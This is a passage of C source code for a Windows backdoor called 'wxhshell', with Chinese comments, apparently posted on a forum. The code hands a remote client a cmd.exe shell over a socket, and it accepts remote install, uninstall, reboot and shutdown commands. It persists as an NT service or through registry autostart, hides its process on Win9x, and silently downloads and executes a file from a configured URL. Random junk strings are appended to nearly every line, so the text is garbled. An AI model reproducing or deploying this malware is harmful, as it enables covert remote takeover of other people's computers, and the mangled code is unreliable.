      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S%Us5`sd  
    break; Z ,EvQ8i  
  } / 4lvP  
  // 安装 g H G  
  case 'i': { NOp609\^  
    if(Install()) V =-WYu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aJcf`<p   
    else J&T.(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '{(UW.Awo  
    break; 0pbtH8~  
    } ;6!Pwb;hY  
  // 卸载 c_V;DcZ  
  case 'r': { :hM/f  
    if(Uninstall()) G>q(iF'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ezMI \r6  
    else ?]x|Zy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k2AJXw  
    break; L =8rH5  
    } g>J<%z, }2  
  // 显示 wxhshell 所在路径 0lv %`,  
  case 'p': { AGbhJ=tB  
    char svExeFile[MAX_PATH]; >$ e9igwe  
    strcpy(svExeFile,"\n\r"); Ovj^IjG-`  
      strcat(svExeFile,ExeFile); 4)("v-p  
        send(wsh,svExeFile,strlen(svExeFile),0); !=N"vD*  
    break; fXcm|U,ho  
    } Lliq j1&  
  // 重启 N"3b{Qi o  
  case 'b': { $ >EYhLBa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MX@_=Sp-  
    if(Boot(REBOOT)) l~ M_S<4n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A7n\h-b  
    else { |M+<m">E  
    closesocket(wsh); 'z[Sp~I\  
    ExitThread(0); SGe^ogO"v  
    } 3Oi nK['  
    break; VhNz8)  
    } Iyyh!MVF  
  // 关机 EbdfV-E  
  case 'd': { TsGE cxIg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BN4_:  
    if(Boot(SHUTDOWN)) l'3pQ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zA1lca0HK  
    else { -*XCxU'  
    closesocket(wsh); nI*v820,  
    ExitThread(0); rW0FA  
    } 'UYR5Y>  
    break; IhA*"  
    } (e[}/hf6  
  // 获取shell 8:/e GM  
  case 's': { /IM#.v  
    CmdShell(wsh); ,j$Vvz   
    closesocket(wsh); L\#<JxY$p  
    ExitThread(0); 3l#IPRn9AO  
    break; uxzze~_+C  
  } qk;{cfzHA  
  // 退出 xa pq*oj  
  case 'x': { 1Tm^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m`FN IY  
    CloseIt(wsh); 4Z/Q=Mq2  
    break; =hMY2D  
    } R<=zCE`:  
  // 离开 ~>+]%FPv  
  case 'q': { LH@j8YB5u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yx>"bv  
    closesocket(wsh); A$a1(8H  
    WSACleanup(); n2fbp\I  
    exit(1); <Ce2r"U1e  
    break; 4'LB7}WG  
        } mD/MJt5  
  } 7Ddaf>  
  } FGh] S-A  
H `(exa:w  
  // 提示信息  $O dCL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gR}35:$Z-  
} 1)[]x9]^q'  
  } G3{=@Z1  
1rDqa(7  
  return; =%> oR  
} NwZ@#D#[ Y  
(bh95X  
// shell模块句柄  ,qYJioWX  
int CmdShell(SOCKET sock) [ U w i  
{ R]i7 $}n  
STARTUPINFO si; 1M}&ZH  
ZeroMemory(&si,sizeof(si)); #2EI\E&$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (1NA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $VxA0 =ad  
PROCESS_INFORMATION ProcessInfo; .({smN,B  
char cmdline[]="cmd"; q| LDo~H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mb!9&&2 -t  
  return 0; U\sHx68  
} = hN !;7G  
}ga@/>Sl&  
// 自身启动模式 ,-OCc!7K  
int StartFromService(void) ~fo6*g:f1  
{ ]Qe{e3p;  
typedef struct xu'yVt9RC  
{ $]rj73p^tH  
  DWORD ExitStatus; zD?K>I=  
  DWORD PebBaseAddress; Iy6$7~  
  DWORD AffinityMask; //4Xq8y  
  DWORD BasePriority; g{P%s'%*  
  ULONG UniqueProcessId; P8?Fm`  
  ULONG InheritedFromUniqueProcessId; pm9%%M$  
}   PROCESS_BASIC_INFORMATION; gB4U*D0[e~  
+a*^{l}AST  
PROCNTQSIP NtQueryInformationProcess; (S v~2  
$&2UTczp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j8sH#b7Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u@4V7;L  
6HlePTf8  
  HANDLE             hProcess; ,yTjU{<"  
  PROCESS_BASIC_INFORMATION pbi; hsw9(D>jp  
e A}%C.ZR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O1`9Y}G(r  
  if(NULL == hInst ) return 0; ?Sb8@S&J  
"hdvHUz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~wVd$%7`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9,^_<O@Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y!T %cTK)a  
}YHX-e<Yx]  
  if (!NtQueryInformationProcess) return 0; lbuAE%  
Y X_ gb/A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v$ub~Q6W  
  if(!hProcess) return 0; @ G4X  
pm6>_Kz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k{<,\J  
;-Jb1"5  
  CloseHandle(hProcess); ScSZGs 5&  
ru7RcYRq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dxk+P!!K  
if(hProcess==NULL) return 0; B)QHM+[= F  
p3}?fej&|  
HMODULE hMod; - > J_ ~  
char procName[255]; WsD M{1c  
unsigned long cbNeeded; 1NcCy! +  
xrN &N_K#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?SC[G-b  
Hp(D);0+)  
  CloseHandle(hProcess); o^V(U~m]  
y7|P-3[ 4w  
if(strstr(procName,"services")) return 1; // 以服务启动 g9Yz*Nee<  
f +hjC  
  return 0; // 注册表启动 JXj8Br?Z@  
} "{D|@Bc  
h48SItY  
// 主模块 >pr=|$zk=  
int StartWxhshell(LPSTR lpCmdLine) 36n>jS&  
{ !L95^g   
  SOCKET wsl; h)me\U7UC  
BOOL val=TRUE; 2mq$H_  
  int port=0; AZ{^o4<q  
  struct sockaddr_in door; #"49fMi/  
raQ7.7  
  if(wscfg.ws_autoins) Install(); x+G0J8cW  
9RWkm%?  
port=atoi(lpCmdLine); -$,%f?  
10#f`OPC  
if(port<=0) port=wscfg.ws_port; (4%YHS8  
Ve/xnn]'  
  WSADATA data; 5~yNqC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8+Bu+|c%f  
OK{xuX8u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^`D=GF^tX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L.=w?%:H=  
  door.sin_family = AF_INET; u1c%T@w>Lz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1HPx|nmE]  
  door.sin_port = htons(port); tM#lFmdd\P  
@;?T~^nGj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dHk{.n^p  
closesocket(wsl); W@2vjz  
return 1; z~\t|Z]G,|  
} _aPh(qprc  
:>81BuMvg  
  if(listen(wsl,2) == INVALID_SOCKET) { b,IocD6v;P  
closesocket(wsl); .{S8f#p9T  
return 1; efY8M2  
} 1+7GUSIb  
  Wxhshell(wsl); ,2]X}&{i  
  WSACleanup(); u(!&:A9JFd  
oW;6h.  
return 0; ]LZ`LL'#Y_  
k;5Pom  
} o-cAG{.WC  
g_Im;1$  
// 以NT服务方式启动 =@)d5^<5F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wIf {6z{  
{ ,]5Ic.};p  
DWORD   status = 0; _xLHrT!y  
  DWORD   specificError = 0xfffffff; X1vNF|o~  
HBB{m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -ti{6:H8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dz[ bm< T7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1w"8~Z:UXV  
  serviceStatus.dwWin32ExitCode     = 0; g`>og^7g  
  serviceStatus.dwServiceSpecificExitCode = 0; R3X{:1{j  
  serviceStatus.dwCheckPoint       = 0; {w <+_++  
  serviceStatus.dwWaitHint       = 0; c={Ft*N  
HWm#t./  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jn.C|9/mj  
  if (hServiceStatusHandle==0) return; @d&/?^dp6  
:3$}^uzIq  
status = GetLastError(); ]P[%Mhg^  
  if (status!=NO_ERROR) |p00j|k   
{ X#w%>al  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p#KW$OQ]8  
    serviceStatus.dwCheckPoint       = 0; ^JR;epVJ  
    serviceStatus.dwWaitHint       = 0; A%\tiZe  
    serviceStatus.dwWin32ExitCode     = status; J`*iZvW#Bx  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q# ?wXX47  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _#_ E^!  
    return; ~LQ[4h<J !  
  } ; "3+YTtp  
~ np,_yI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^S#t|rN  
  serviceStatus.dwCheckPoint       = 0; G9g6.8*&  
  serviceStatus.dwWaitHint       = 0; +([!A6:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yGp z,X4x  
} y]e>E  
@InZ<AW>|  
// 处理NT服务事件,比如:启动、停止 !Ss HAE|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OU7 %V)X5  
{ y}08~L?2  
switch(fdwControl) 1t9.fEmT  
{ l|V;Ys5f  
case SERVICE_CONTROL_STOP: FP"$tt(  
  serviceStatus.dwWin32ExitCode = 0; c6Q(Ygc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ejq#~Zhr!  
  serviceStatus.dwCheckPoint   = 0; Ei({`^  
  serviceStatus.dwWaitHint     = 0; 23DJV);g8  
  { s0hBbL0DH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;o<m}bGaT  
  } Tx%VU8\?n  
  return; b @;.F!x  
case SERVICE_CONTROL_PAUSE: Vga-@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2yo cu!4l  
  break; :1 )DqoAJ  
case SERVICE_CONTROL_CONTINUE:  O3NWXe<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [t0rfl{.  
  break; /b,TpuM^  
case SERVICE_CONTROL_INTERROGATE: TQ9D68 ,  
  break; iwY'4 Z e  
}; YW; Hk1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N6Z{BLZ  
} ]|:uU  
vs&8wbS)  
// 标准应用程序主函数 Dmdy=&G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8n?kZY$,  
{ 9j|gdfb%ml  
%zo= K}u  
// 获取操作系统版本 l+y-Fo@  
OsIsNt=GetOsVer(); G.U 5)4_^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4-v6=gz.  
5 ZfP  
  // 从命令行安装 Me:{{-V4  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?PPZp6A3L=  
z"F*\xa  
  // 下载执行文件 =fyyqb 4  
if(wscfg.ws_downexe) { 99iUOw c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hh.Q\qhubB  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,7d|O}B  
} o`r(`6@  
+'03>!V  
if(!OsIsNt) { K6pR8z*?  
// 如果时win9x,隐藏进程并且设置为注册表启动 g.Hio.fVd  
HideProc(); :wgfW .w  
StartWxhshell(lpCmdLine); -g`IH-B  
} J^3H7 ]  
else vH?9\3  
  if(StartFromService()) O%1/ r*  
  // 以服务方式启动 q'(z #h,cv  
  StartServiceCtrlDispatcher(DispatchTable); {)K](S ~  
else FEm=w2  
  // 普通方式启动 =7ydk"xM*  
  StartWxhshell(lpCmdLine); eXy"^x p^  
XrN- 2HTV  
return 0; B/eaqJ  
}
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只看该作者 1 发表于: 2006-10-10
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